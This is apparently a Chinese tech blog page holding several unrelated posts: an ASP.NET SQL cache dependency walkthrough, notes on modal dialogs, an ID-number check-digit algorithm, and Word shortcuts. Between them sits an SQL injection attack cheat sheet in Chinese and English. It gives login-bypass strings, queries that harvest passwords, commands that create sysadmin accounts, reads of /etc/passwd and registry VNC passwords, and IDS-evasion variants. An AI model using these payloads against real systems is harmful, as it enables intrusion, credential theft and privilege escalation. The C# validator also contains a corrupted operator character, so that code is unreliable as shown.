演练如何缓存依赖于 SQL Server 数据库中数据的 ASP.NET 页

此演练演示如何缓存依赖于 SQL Server 数据库中数据的 ASP.NET 页。

ASP.NET 输出缓存的一项高级功能是 SQL 缓存依赖项。SQL 缓存依赖项使您可以缓存依赖于 SQL Server 表中数据的页。您可以配置 SQL Server 和 ASP.NET 以缓存页请求,降低服务器工作负荷,直到页所依赖的数据已在 SQL Server 中更新为止。对于相对保持静态的产品目录或客户注册信息等数据而言,SQL 缓存依赖项很有用。

本演练中阐释的任务包括:

创建并配置页,以显示 Northwind 数据库中的数据。

为 SQL 缓存通知启用数据库。

在页以及 Web.config 文件中指定 SQL 缓存依赖项。

对 Northwind 数据库进行更改并查看缓存行为。

先决条件
若要完成本演练,您需要:

对具有 Northwind 数据库的 SQL Server 2000 或 SQL Server 2005 的访问。

SQL Server Northwind 数据库的访问权限。有关下载和安装 SQL Server 示例数据库 Northwind 的信息,请参见位于 Microsoft SQL Server 网站上的“Installing Sample Databases”(安装示例数据库)。

注意
如果需要有关如何登录到运行 SQL Server 的计算机的信息,请与服务器管理员联系。

Microsoft 数据访问组件 (MDAC) 2.7 版或更高版本。

如果您使用的是 Windows XP 或 Windows Server 2003,那么您已经有了 MDAC 2.7。但是,如果使用 Windows 2000,您可能需要升级您计算机上已经安装的 MDAC。有关更多信息,请参见 MSDN 文章“MDAC Installation”(MDAC 安装)。

.NET Framework 2.0 版。

创建网站
如果您已在 Visual Web Developer 中创建了网站(请参见 演练:在 Visual Web Developer 中创建基本网页),则可以使用该网站并转至本演练的后面部分“为 SQL Server 启用缓存通知”。否则,按照下面的步骤创建一个新的网站和网页。

创建文件系统网站
打开 Visual Web Developer。

在“文件”菜单上单击“新建网站”。(在 Visual Web Developer 速成版中,在“文件”菜单上单击“新建”,然后单击“网站”。)

出现“新建网站”对话框。

在“Visual Studio 已安装的模板”之下单击“ASP.NET 网站”。

在“位置”框中输入要保存网站页面的文件夹的名称。

例如,键入文件夹名 C:\WebSites。

在“语言”列表中,单击您想使用的编程语言。

单击“确定”。

Visual Web Developer 创建该文件夹和一个名为 Default.aspx 的新页。

为 SQL Server 启用缓存通知
必须配置 SQL Server 以就依赖数据中的更改向 ASP.NET 提供合适的通知。您需要具有管理特权才能配置服务器。

为 SQL Server 启用缓存通知
在 Windows“启动”菜单中,指向“所有程序”,指向“附件”,然后单击“命令提示符”以打开命令提示窗口。

在磁盘驱动器中找到 Aspnet_regsql.exe 可执行文件。此文件随 .NET Framework 2.0 版安装在下面的位置:

复制代码
%windir%\Microsoft.NET\Framework\FrameworkVersion

确保 %windir% 表示 Windows 目录并且 .NET Framework 版本为 2.0 或更高版本。该路径可能看起来类似于下面这样:

复制代码
C:\WINDOWS\Microsoft.NET\Framework\v2.0.40217

使用下面的命令为 Northwind 数据库中的 Employees 表启用缓存通知:

复制代码
aspnet_regsql.exe -S <Server> -U <Username> -P <Password> -ed -d Northwind -et -t Employees
注意
您需要具有管理特权,或管理帐户和密码。如果没有此信息,请与数据库管理员联系。

将出现一条消息,指示启用数据库的成功与失败。下面的消息指示成功:

复制代码
Enabling the table for SQL cache dependency.
..
Finished.

向项目中添加数据连接
要在 Visual Web Developer 中使用 SQL Server 数据库,您需要向 Northwind 数据库添加连接。

向项目添加数据源
在“服务器资源管理器”(Visual Web Developer 速成版中为“数据库资源管理器”)中,右击“数据连接”,然后单击“添加连接”。

注意
“服务器资源管理器”(Visual Web Developer 速成版中为“数据库资源管理器”)通常停靠在解决方案资源管理器后面。

如果“服务器资源管理器”(Visual Web Developer 速成版中为“数据库资源管理器”)不可见,则在“视图”菜单中单击“服务器资源管理器”(Visual Web Developer 速成版中为“数据库资源管理器”)。

如果显示“选择数据源”对话框,则执行以下操作:

在“数据源”列表中,单击“Microsoft SQL Server”。

在“数据提供程序”列表中,单击“用于 SQL Server 的 .NET Framework 数据提供程序”。

单击“继续”。

在“添加连接”对话框中,为数据库提供详细信息(服务器名称、登录凭据等),然后选择 Northwind 数据库。

单击“确定”。

向网页添加时间戳和数据
现在可以创建网页来演示缓存处理。在本节中,您将添加一个时间戳来跟踪页创建时间,并添加一个 GridView 控件来查看 Northwind 数据库的 Employees 表。

向网页添加时间戳和数据
切换到或打开 Default.aspx 页。

切换到“设计”视图。

从工具箱的“标准”组中,将一个 Label 控件拖到页上,保留默认名称 Label1。

在“服务器资源管理器”(Visual Web Developer 速成版中为“数据库资源管理器”)中,展开“数据连接”。

为以前创建的数据连接展开节点。

展开“表”节点。

将 Employees 表拖到页上。

Visual Web Designer 创建一个 GridView 控件,它配置为使用您所选择的连接和表。

在“GridView 任务”菜单上,单击“配置数据源。

默认数据连接字符串名称 NorthwindConnectionString1 出现在“配置数据源”向导的第一个步骤中。

单击“下一步”。

在“配置 Select 语句”窗格中,选择“指定来自表或视图的列”。

在“名称”列表中,单击 Employees。

在“列”列表中,选择 EmployeeID、LastName 和 FirstName 列。

单击“下一步”。

单击“完成”。

Visual Web Designer 配置 GridView 控件以显示您所选择的数据。

注意
如果看到一条消息询问您是否要刷新 GridView 控件的字段和键,单击“是”。

双击页的空白部分。

设计器生成 Page_Load 方法并切换视图。

添加以下突出显示的代码,以显示指示页创建的时间戳:

Visual Basic 复制代码
Protected Sub Page_Load(ByVal sender As Object, _
ByVal e As System.EventArgs) _
Handles Me.Load
Label1.Text = System.DateTime.Now
End Sub

C# 复制代码
protected void Page_Load(Object sender, System.EventArgs e)
{
Label1.Text = System.DateTime.Now.ToString();
}

保存该文件。

测试不使用缓存功能的页
现在可以运行页,并观察不使用缓存功能的行为。此时将加载页并显示当前服务器时间,然后将检索数据并将其放置在页中。

测试不使用缓存功能的页
按 Ctrl+F5 运行该页。

在浏览器中刷新页

注意,时间戳随着每次页刷新而更改。数据将保持相同。

为缓存功能配置网页
在本部分演练中,您将基于 Northwind 数据库的 Employees 表为 SQL 缓存依赖项配置页。

为缓存功能配置网页
切换到“源”视图。

在页顶部,添加下面的指令以指示依赖项:

复制代码
<%@ OutputCache Duration="3600" SqlDependency="Northwind:Employees" VaryByParam="none" %>

VaryByParam 属性指示缓存时 ASP.NET 是否应考虑页参数(如查询字符串或发布值)。当 VaryByParam 设置为 none 时,将不考虑任何参数;无论提供什么附加参数,都将向所有用户发送相同的页。将 VaryByParam 设置为 *(星号)表明,对于每个唯一的请求参数组合,将缓存一个唯一页。但是,将 VaryByParam 设置为 * 会缓存页的许多不同版本,所以如果您知道缓存变化所依据的参数,建议您在 VaryByParam 属性中显式指定这些参数。有关详细信息,请参见 缓存页的多个版本。

在 Web.config 文件中设置缓存配置
除了前面部分中网页的 OutputCache 声明外,您需要在 Web.config 文件中指定缓存详细信息。

创建和更新 Web.config 文件
如果您的网站已具有 Web.config 文件,请转至步骤 4。

在解决方案资源管理器中,右击网站的名称,然后单击“添加新项”。

在“添加项”对话框中,单击“Web 配置文件”,然后单击“添加”。

请确保使用名称 Web.config。

将下面的 XML 作为 system.web 元素的子级添加到 Web.config 文件中:

复制代码
<!-- caching section group -->
<caching>
<sqlCacheDependency enabled = "true" pollTime = "1000" >
<databases>
<add name="Northwind"
connectionStringName="NorthwindConnectionString1"
pollTime = "1000"
/>
</databases>
</sqlCacheDependency>
</caching>
注意
前面您在创建数据连接时,已建立了连接字符串名称 NorthwindConnectionString1。如果您的连接字符串具有不同的名称,请替换为该名称。

注意
在连接字符串中指定的帐户凭据必须具有足够的特权来轮询数据库。

保存文件,然后将其关闭。

测试使用缓存功能的页
启用缓存后,刷新页时将不再导致时间戳或数据库查询更新,因为 ASP.NET 将从缓存中满足页请求。

测试使用缓存功能的页
按 Ctrl+F5 运行该页。

注意,时间戳在每次页刷新时保持不变。将从缓存中检索页。

更改数据
现在可以更改数据库中的数据,并可看到缓存被验证,并创建了一个新页。

更改数据
在“服务器资源管理器”(Visual Web Developer 速成版中为“数据库资源管理器”中),展开“数据连接”节点。

展开您先前创建的连接。

展开“表”节点。

右击“Employees”,然后单击“显示表数据”。

通过编辑数据表中的任何字段并确保它是网页所显示的字段来更新数据库。

或者也可以使用 SQL 窗格(如果 SQL 窗格不可见,则在“查询设计器”菜单中单击“窗格”,然后单击“SQL”)。直接输入 SQL 命令,然后单击“查询设计器”工具栏中的“执行 SQL”按钮。例如,运行下面的命令:

复制代码
UPDATE dbo.Employees SET LastName = 'Doe' WHERE (EmployeeID = 5)

这将把雇员 5 的名称更改为 Doe。

关闭数据的视图。

测试 SQL 缓存依赖项
现在可以测试页,以查看数据和时间戳是否已更改。

测试 SQL 缓存依赖项
按 Ctrl+F5 运行该页。

注意,时间戳已更改,并显示新数据。

按 Ctrl+F5 再次运行该页。

这次时间戳保持不变,因为数据未更改,并且现在正从缓存中再次检索该页

发表在 article | 标签为 , | 演练如何缓存依赖于 SQL Server 数据库中数据的 ASP.NET 页已关闭评论

SQL注射技术

====||目录||=====
--------------------
1、简介
2、漏洞测试
3、收集信息
4、数据类型
5、抓取密码
6、创建数据库帐号
7、MYSQL利用
8、服务名和配置
9、在注册表中找VNC密码
10、刺穿IDS认证
11、在MYSQL中使用char()欺骗
12、用注释躲避IDS认证
13、构造无引号的字符串

====||文章开始||====

1、简介

当你看到一个服务器只开了80端口,这在一定程度上说明管理员把系统的补丁做的很好,我们所要做最有效的攻击则也应该转向WEB攻击。SQL注射是最常用的攻击方式。你攻击WEN系统(ASP,PHP,JSP,CGI等)比去攻击系统或者其他的系统服务要简单的多。
SQL注射是通过页面中的输入来欺骗使得其可以运行我们构造的查询或者别的命令,我们知道在WEB上面有很多供我们输入参数的地方,比如用户名、密码或者E_mail。

2、漏洞测试

最开始我们应该从最简单的来试:

- Login:' or 1=1--
- Pass:' or 1=1--
- http://website/index.asp?id=&#39;
or 1=1--

还有下面这样的方式:

- ' having 1=1--
- ' group by userid having 1=1--
- ' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'tablename')--
- ' union select sum(columnname) from tablename--

3、收集信息

- ' or 1 in (select @@version)--
- ' union all select @@version--

上面就可以得到系统的版本和补丁信息。

4、数据类型

Oracle数据库>>
-->SYS.USER_OBJECTS (USEROBJECTS)
-->SYS.USER_VIEWS
-->SYS.USER_TABLES
-->SYS.USER_VIEWS
-->SYS.USER_TAB_COLUMNS
-->SYS.USER_CATALOG
-->SYS.USER_TRIGGERS
-->SYS.ALL_TABLES
-->SYS.TAB
MySQL数据库
-->mysql.user
-->mysql.host
-->mysql.db

MS access数据
-->MsysACEs
-->MsysObjects
-->MsysQueries
-->MsysRelationships

MS SQL Server数据库
-->sysobjects
-->syscolumns
-->systypes
-->sysdatabases

5、抓取密码

用类似下面的语句。。。
//保存查询的结果
step1 : '; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login > @var select @var as var into temp end --
//取得信息
step2 : ' and 1 in (select var from temp)--
//删除临时表
step3 : ' ; drop table temp --

6、创建数据库帐号

MS SQL
exec sp_addlogin 'name' , 'password'
exec sp_addsrvrolemember 'name' , 'sysadmin'

MySQL
INSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost', PASSWORD('pass123'))

Access
CRATE USER name IDENTIFIED BY 'pass123'

Postgres (requires Unix account)
CRATE USER name WITH PASSWORD 'pass123'

Oracle
CRATE USER name IDENTIFIED BY pass123
TEMPORARY TABLESPACE temp
DEFAULT TABLESPACE users;
GRANT CONNECT TO name;
GRANT RESOURCE TO name;

7、MYSQL交互查询

使用Union查询,暴出文件代码,如下:
- ' union select 1,load_file('/etc/passwd'),1,1,1;

8、系统服务名和配置

- ' and 1 in (select @@servername)--
- ' and 1 in (select servername from master.sysservers)--

9、找到VNC密码(注册表)

实验语句如下:

- '; declare @out binary(8)
- exec master..xp_regread
- @rootkey = 'HKEY_LOCAL_MACHINE',
- @key = 'SOFTWARE\ORL\WinVNC3\Default',
- @value_name='password',
- @value = @out output
- select cast (@out as bigint) as x into TEMP--
- ' and 1 in (select cast(x as varchar) from temp)--

10、避开IDS检测

Evading ' OR 1=1 Signature

- ' OR 'unusual' = 'unusual'
- ' OR 'something' = 'some'+'thing'
- ' OR 'text' = N'text'
- ' OR 'something' like 'some%'
- ' OR 2 > 1
- ' OR 'text' > 't'
- ' OR 'whatever' in ('whatever')
- ' OR 2 BETWEEN 1 and 3

11、MYSQL中使用char()函数

不带引号的注射,例如: (string = "%"):
--> ' or username like char(37);
带引号的注射,例如: (string="root"):
--> ' union select * from users where login = char(114,111,111,116);
在 unions中使用load files 函数,例如:(string = "/etc/passwd"):
-->' union select 1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
检查文件是否存在,例如: (string = "n.ext"):
-->' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));

12、利用注释符号避开IDS

举例如下:

-->'/**/OR/**/1/**/=/**/1
-->Username:' or 1/*
-->Password:*/=1--
-->UNI/**/ON SEL/**/ECT (!!!这个比较罕见,应该大有作为!!!)
-->(Oracle) '; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
-->(MS SQL) '; EXEC ('SEL' + 'ECT US' + 'ER')

13、不带引号的字符串

用char()或者0X来构造不含引号的语句。。
--> INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72), 0x64)

======================================================================

附录原文:

Sql Injection Paper
By zeroday.
zeroday [ at ] blacksecurity.org

1.Introduction.
2.Testing for vulnerabilities.
3.Gathering Information.
4.Data types.
5.Grabbing Passwords.
6.Create DB accounts.
7.MySQL OS Interaction.
8.Server name and config.
9.Retrieving VNC password from registry.
10.IDS Signature Evasion.
11.mySQL Input Validation Circumvention using Char().
12.IDS Signature Evasion using comments.
13.Strings without quotes.

1. When a box only has port 80 open, it's almost certain the admin will patch his server,
The best thing to turn to is web attacks. Sql Injection is one of the most common web attacks.
You attack the web application, ( ASP, JSP, PHP, CGI..etc) rather than the webserver
or the services running on the OS.
Sql injection is a way to trick using a qurey or command as a input via webpages,
most websites take parameters from the user like username and passwrod or even their emails.
They all use Sql querys.

2. First of you should start with something simple.
- Login:' or 1=1--
- Pass:' or 1=1--
- http://website/index.asp?id=&#39;
or 1=1--
These are simple ways to try another ones are:
- ' having 1=1--
- ' group by userid having 1=1--
- ' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'tablename')--
- ' union select sum(columnname) from tablename--

3.Gathering Infomation.
- ' or 1 in (select @@version)--
- ' union all select @@version--
Those will Find the actual Version of the computer, OS/service pack.

4.Data types.

Oracle
-->SYS.USER_OBJECTS (USEROBJECTS)
-->SYS.USER_VIEWS
-->SYS.USER_TABLES
-->SYS.USER_VIEWS
-->SYS.USER_TAB_COLUMNS
-->SYS.USER_CATALOG
-->SYS.USER_TRIGGERS
-->SYS.ALL_TABLES
-->SYS.TAB

MySQL
-->mysql.user
-->mysql.host
-->mysql.db

MS access
-->MsysACEs
-->MsysObjects
-->MsysQueries
-->MsysRelationships

MS SQL Server
-->sysobjects
-->syscolumns
-->systypes
-->sysdatabases

5.Grabbing passwords

'; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login > @var select @var as var into temp end --

' and 1 in (select var from temp)--

' ; drop table temp --

6.Create DB accounts.

MS SQL
exec sp_addlogin 'name' , 'password'
exec sp_addsrvrolemember 'name' , 'sysadmin'

MySQL
INSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost', PASSWORD('pass123'))

Access
CRATE USER name IDENTIFIED BY 'pass123'

Postgres (requires Unix account)
CRATE USER name WITH PASSWORD 'pass123'

Oracle
CRATE USER name IDENTIFIED BY pass123
TEMPORARY TABLESPACE temp
DEFAULT TABLESPACE users;
GRANT CONNECT TO name;
GRANT RESOURCE TO name;

7.MySQL OS Interaction

- ' union select 1,load_file('/etc/passwd'),1,1,1;

8.Server name and config.

- ' and 1 in (select @@servername)--
- ' and 1 in (select servername from master.sysservers)--

9.Retrieving VNC password from registry.

- '; declare @out binary(8)
- exec master..xp_regread
- @rootkey = 'HKEY_LOCAL_MACHINE',
- @key = 'SOFTWARE\ORL\WinVNC3\Default',
- @value_name='password',
- @value = @out output
- select cast (@out as bigint) as x into TEMP--
- ' and 1 in (select cast(x as varchar) from temp)--

10.IDS Signature Evasion.
Evading ' OR 1=1 Signature

- ' OR 'unusual' = 'unusual'
- ' OR 'something' = 'some'+'thing'
- ' OR 'text' = N'text'
- ' OR 'something' like 'some%'
- ' OR 2 > 1
- ' OR 'text' > 't'
- ' OR 'whatever' in ('whatever')
- ' OR 2 BETWEEN 1 and 3

11.mySQL Input Validation Circumvention using Char().

Inject without quotes (string = "%"):
--> ' or username like char(37);
Inject with quotes (string="root"):
--> ' union select * from users where login = char(114,111,111,116);
load files in unions (string = "/etc/passwd"):
-->' union select 1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
Check for existing files (string = "n.ext"):
-->' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));

12.IDS Signature Evasion using comments.

-->'/**/OR/**/1/**/=/**/1
-->Username:' or 1/*
-->Password:*/=1--
-->UNI/**/ON SEL/**/ECT
-->(Oracle) '; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
-->(MS SQL) '; EXEC ('SEL' + 'ECT US' + 'ER')

13.Strings without quotes.
--> INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72), 0x64)

发表在 article | 标签为 | SQL注射技术已关闭评论

IE与FireFox的showModalDialog

在网頁程式中,
有時我們會希望使用者按下按鈕後開啟一個保持在原視窗前方的子視窗,
而在IE中,我們可以使用showModalDialog來達成,
語法如下 :

vReturnValue = window.showModalDialog(sURL [, vArguments] [, sFeatures])

範例:

window.showModalDialog("openwin.html","Arguments","dialogHeight: 200px; dialogWidth: 200px; dialogTop: 10px; dialogLeft: 10px; edge: Raised; center: Yes; help: Yes; resizable: Yes; status: Yes;");

但是.在Firefox中卻沒有showModalDialog這東西,
而在FireFox中我們只能使用window.open實現這樣的功能,
window.open的語法如下 :

oNewWindow = window.open( [sURL] [, sName] [, sFeatures] [, bReplace])

只是,在Firefox下,window.open的參數中,sFeature多了一些功能設定,
而在FireFox下要讓開啟的視窗跟IE的showModalDialog一樣的話,
只要在sFeatures中加個modal=yes
就可以了,
範例如下:

window.open('openwin.html','newWin','modal=yes,width=200,height=200,resizable=no,scrollbars=no');

提到了子視窗,不得不提的就是子視窗跟母視窗間的交互操作,
因為我想很多人開啟對話視窗應該都是為了將操作完的結果丟回去給母視窗...

如果是用showModalDialog的話,
在子視窗中要存取母視窗的函數的話,
要注意兩個地方,
1.(母視窗中)開啟視窗:

window.showModalDialog("openwin.html",self,'modal=yes,width=775,height=700,resizable=no,scrollbars=no');

在第二個參數(vArguments),改成self.

2.(子視窗中)調用母視窗的函數:

window.dialogArguments.ShowMsg(obj.value);

ShowMsg為母視窗中的函數.

而使用window.open的話,
則是要注意一個地方,
1.(子視窗中)調用母視窗的函數:

window.opener.ShowMsg(obj.value);

使用window.opener去接母視窗的物件.

如此一來,只要再透過navigator.appName去判斷瀏覽器為何,
就可以寫一個IE與FireFox相容的函數...

发表在 article | 标签为 | 527条评论

18位身份证格式验证算法

18位身份证标准在国家质量技术监督局于1999年7月1日实施的GB11643-1999《公民身份号码》中做了明确的规定。 GB11643-1999《公民身份号码》为GB11643-1989《社会保障号码》的修订版,其中指出将原标准名称"社会保障号码"更名为"公民身份号码",另外GB11643-1999《公民身份号码》从实施之日起代替GB11643-1989。GB11643-1999《公民身份号码》主要内容如下:
一、范围
该标准规定了公民身份号码的编码对象、号码的结构和表现形式,使每个编码对象获得一个唯一的、不变的法定号码。
二、编码对象
公民身份号码的编码对象是具有中华人民共和国国籍的公民。
三、号码的结构和表示形式
1、号码的结构
公民身份号码是特征组合码,由十七位数字本体码和一位校验码组成。排列顺序从左至右依次为:六位数字地址码,八位数字出生日期码,三位数字顺序码和一位数字校验码。
2、地址码
表示编码对象常住户口所在县(市、旗、区)的行政区划代码,按GB/T2260的规定执行。
3、出生日期码
表示编码对象出生的年、月、日,按GB/T7408的规定执行,年、月、日代码之间不用分隔符。
4、顺序码
表示在同一地址码所标识的区域范围内,对同年、同月、同日出生的人编定的顺序号,顺序码的奇数分配给男性,偶数分配给女性。
5、校验码
(1)十七位数字本体码加权求和公式
S = Sum(Ai * Wi), i = 0, ... , 16 ,先对前17位数字的权求和
Ai:表示第i位置上的身份证号码数字值
Wi:表示第i位置上的加权因子
Wi: 7 9 10 5 8 4 2 1 6 3 7 9 10 5 8 4 2
(2)计算模
Y = mod(S, 11)

(3)通过模得到对应的校验码
Y: 0 1 2 3 4 5 6 7 8 9 10
校验码: 1 0 X 9 8 7 6 5 4 3 2
四、举例如下:
北京市朝阳区: 11010519491231002X
广东省汕头市: 440524188001010014

C#程序代码:

private string CheckCidInfo(string cid)
{
	string[] aCity = new string[]{null,null,null,null,null,null,null,null
,null,null,null,"北京","天津","河北","山西","内蒙古",null,null,null,null,null
,"辽宁","吉林","黑龙江",null,null,null,null,null,null,null,"上海","江苏","浙江"
,"安微","福建","江西","山东",null,null,null,"河南","湖北","湖南","广东","广西"
,"海南",null,null,null,"重庆","四川","贵州","云南","西藏",null,null,null,null
,null,null,"陕西","甘肃","青海","宁夏","新疆",null,null,null,null,null,"台湾"
,null,null,null,null,null,null,null,null,null,"香港","澳门",null,null,null
,null,null,null,null,null,"国外"};
	double iSum=0;
	string info="";
	System.Text.RegularExpressions.Regex rg = new System.Text.RegularExpressions.Regex(@"^\d{17}(\d|x)$");
	System.Text.RegularExpressions.Match mc = rg.Match(cid);
	if(!mc.Success)
	{
	return "";
	}
	cid = cid.ToLower();
	cid = cid.Replace("x","a");
	if(aCity[int.Parse(cid.Substring(0,2))]==null)
	{
	return "非法地区";
	}
	try
	{
	DateTime.Parse(cid.Substring(6,4)+"-"+cid.Substring(10,2)+"-"+cid.Substring(12,2));
	}
	catch
	{
	return "非法生日";
	}
	for(int i=17;i>=0;i--)
	{
	iSum +=(System.Math.Pow(2,i)%11)*int.Parse(cid[17-i].ToString(),System.Globalization.NumberStyles.HexNumber);
	}
	if(iSum%11!=1)
	return("非法证号");

	return(aCity[int.Parse(cid.Substring(0,2))]+","+cid.Substring(6,4)+"-"+cid.Substring(10,2)+"-"+cid.Substring(12,2)+","+(int.Parse(cid.Substring(16,1))%2==1¡"男":"女"));

}

// 调用测试:
Response.Write(CheckCidInfo("340524198002300019"));
Response.Write(CheckCidInfo("34052419800101001x"));

..

Java 15位身份证转18位代码

public class IdCardUtil {
    private static final int[] WEIGHT_FACTOR =
 {7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2};
    private static final char[] CHECK_CODE =
 {'1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2'};

    /**
     * 将15位身份证号码转换为18位身份证号码     
     *     
     * @param idCard 15位身份证号码
     * @return 18位身份证号码
     */
    public static String convert15To18(String idCard) {
        if (idCard == null || idCard.length() != 15) {
            return null;
        }
        String idCard17 = idCard.substring(0, 6) 
+ "19" + idCard.substring(6);
        int sum = 0;
        for (int i = 0; i < idCard17.length(); i++) {
            char c = idCard17.charAt(i);
            int num = Character.getNumericValue(c);
            sum += num * WEIGHT_FACTOR[i];
        }
        int remainder = sum % 11;
        char checkCode = CHECK_CODE[remainder];
        return idCard17 + checkCode;
    }
}

 

 

.

发表在 article | 标签为 | 18位身份证格式验证算法已关闭评论

Word常用的快捷键

Word常用的快捷键

Ctrl+Shift+Spacebar 创建不间断空格
Ctrl+连字符 创建不间断连字符
Ctrl+B 使字符变为粗体
Ctrl+I 使字符变为斜体
Ctrl+U 为字符添加下划线
Ctrl+Shift+< 缩小字号
Ctrl+Shift+> 增大字号
Ctrl+Q 删除段落格式
Ctrl+Spacebar 删除字符格式
Ctrl+C 复制所选文本或对象
Ctrl+X 剪切所选文本或对象
Ctrl+V 粘贴文本或对象
Ctrl+Z 撤消上一操作
Ctrl+Y 重复上一操作
Ctrl+Shift+F 组合键 改变字体
Ctrl+Shift+P 组合键 改变字号
Ctrl+Shift+> 组合键 增大字号
Ctrl+Shift+< 组合键 减小字号
Ctrl+] 组合键 逐磅增大字号
Ctrl+[ 组合键 逐磅减小字号

应用字符格式
请按 执行操作
Ctrl+D 组合键 改变字符格式(“格式”菜单中的“字体”命令)
Shift+F3 组合键 改变字母大小写
Ctrl+Shift+A 组合键 将所有字母设为大写
Ctrl+B 组合键 应用加粗格式
Ctrl+U 组合键 应用下划线格式
Ctrl+Shift+W 组合键 只给字、词加下划线,不给空格加下划线
Ctrl+Shift+D 组合键 给文字添加双下划线
Ctrl+Shift+H 组合键 应用隐藏文字格式
Ctrl+I 组合键 应用倾斜格式
Ctrl+Shift+K 组合键 将所有字母设成小写
Ctrl+=(等号)组合键 应用下标格式(自动间距)
Ctrl+Shift++(加号)组合键 应用上标格式(自动间距)
Ctrl+Shift+Z 组合键 取消人工设置的字符格式
Ctrl+Shift+Q 组合键 将所选部分设为 Symbol 字体

查看和复制文字格式
请按 执行操作
Ctrl+Shift+*(星号)组合键 显示非打印字符
Shift+F1 组合键(然后单击需了解其格式的文字) 查看文字格式
Ctrl+Shift+C 组合键 复制格式
Ctrl+Shift+V 组合键 粘贴格式

设置行距
请按 将行距设置为
Ctrl+1 组合键 单倍行距
Ctrl+2 组合键 双倍行距
Ctrl+5 组合键 1.5 倍行距
Ctrl+0 组合键 在段前添加一行间距

设置段落对齐方式
请按 执行操作
Ctrl+E 组合键 段落居中
Ctrl+J 组合键 两端对齐
Ctrl+L 组合键 左对齐
Ctrl+R 组合键 右对齐
Ctrl+M 组合键 左侧段落缩进
Ctrl+Shift+M 组合键 取消左侧段落缩进
Ctrl+T 组合键 创建悬挂缩进
Ctrl+Shift+T 组合键 减小悬挂缩进量
Ctrl+Q 组合键 取消段落格式

应用段落格式
请按 执行操作
Ctrl+Shift+S 组合键 应用样式
Alt+Ctrl+K 组合键 启动“自动套用格式”
Ctrl+Shift+N 组合键 应用“正文”样式
Alt+Ctrl+1 组合键 应用“标题 1”样式
Alt+Ctrl+2 组合键 应用“标题 2”样式
Alt+Ctrl+3 组合键 应用“标题 3”样式
Ctrl+Shift+L 组合键 应用“列表”样式
Ctrl+Shift+F 组合键 改变字体
Ctrl+Shift+P 组合键 改变字号
Ctrl+Shift+> 组合键 增大字号
Ctrl+Shift+< 组合键 减小字号
Ctrl+] 组合键 逐磅增大字号
Ctrl+[ 组合键 逐磅减小字号

应用字符格式
请按 执行操作
Ctrl+D 组合键 改变字符格式(“格式”菜单中的“字体”命令)
Shift+F3 组合键 改变字母大小写
Ctrl+Shift+A 组合键 将所有字母设为大写
Ctrl+B 组合键 应用加粗格式
Ctrl+U 组合键 应用下划线格式
Ctrl+Shift+W 组合键 只给字、词加下划线,不给空格加下划线
Ctrl+Shift+D 组合键 给文字添加双下划线
Ctrl+Shift+H 组合键 应用隐藏文字格式
Ctrl+I 组合键 应用倾斜格式
Ctrl+Shift+K 组合键 将所有字母设成小写
Ctrl+=(等号)组合键 应用下标格式(自动间距)
Ctrl+Shift++(加号)组合键 应用上标格式(自动间距)
Ctrl+Shift+Z 组合键 取消人工设置的字符格式
Ctrl+Shift+Q 组合键 将所选部分设为 Symbol 字体

查看和复制文字格式
请按 执行操作
Ctrl+Shift+*(星号)组合键 显示非打印字符
Shift+F1 组合键(然后单击需了解其格式的文字) 查看文字格式
Ctrl+Shift+C 组合键 复制格式
Ctrl+Shift+V 组合键 粘贴格式

设置行距
请按 将行距设置为
Ctrl+1 组合键 单倍行距
Ctrl+2 组合键 双倍行距
Ctrl+5 组合键 1.5 倍行距
Ctrl+0 组合键 在段前添加一行间距

设置段落对齐方式
请按 执行操作
Ctrl+E 组合键 段落居中
Ctrl+J 组合键 两端对齐
Ctrl+L 组合键 左对齐
Ctrl+R 组合键 右对齐
Ctrl+M 组合键 左侧段落缩进
Ctrl+Shift+M 组合键 取消左侧段落缩进
Ctrl+T 组合键 创建悬挂缩进
Ctrl+Shift+T 组合键 减小悬挂缩进量
Ctrl+Q 组合键 取消段落格式

应用段落格式
请按 执行操作
Ctrl+Shift+S 组合键 应用样式
Alt+Ctrl+K 组合键 启动“自动套用格式”
Ctrl+Shift+N 组合键 应用“正文”样式
Alt+Ctrl+1 组合键 应用“标题 1”样式
Alt+Ctrl+2 组合键 应用“标题 2”样式
Alt+Ctrl+3 组合键 应用“标题 3”样式
Ctrl+Shift+L 组合键 应用“列表”样式
Alt+Shift+O 组合键 标记目录项
Alt+Shift+I 组合键 标记引文目录项
Alt+Ctrl+X 组合键 插入索引项
Alt+Ctrl+F 组合键 插入脚注
Alt+Ctrl+D 插入尾注

WordPerfect 命令 WordPerfect 5.1 for DOS 快捷键 Microsoft Word 快捷键
居中对齐 Ctrl+E 用于居中对齐段落中的文本
粗体 Ctrl+B
字体 Ctrl+D
区域 Shift+方向键
批注 Alt+Ctrl+M
日期代码 Alt+Shift+D
显示代码 Shift+F1、单击

删除到页尾 Ctrl+Page Down Shift+向下箭头(到页尾)、Delete
删除到左边的单词边界 HOME+Backspace Ctrl+Backspace
删除到右边的单词边界 Home+Delete Ctrl+Delete
删除区域 Alt+F4+Delete F8、方向键、Delete
双下划线 Ctrl+Shift+D
尾注 Alt+Ctrl+E
退出 Alt+F4
右对齐 Ctrl+R 向右对齐段落中的文本

脚注 Alt+Ctrl+F
帮助 F1
缩进 Ctrl+M
斜体 Ctrl+I
居中对齐 Ctrl+E
两端对齐 Ctrl+J
左侧对齐 Ctrl+L
右侧对齐 Ctrl+R
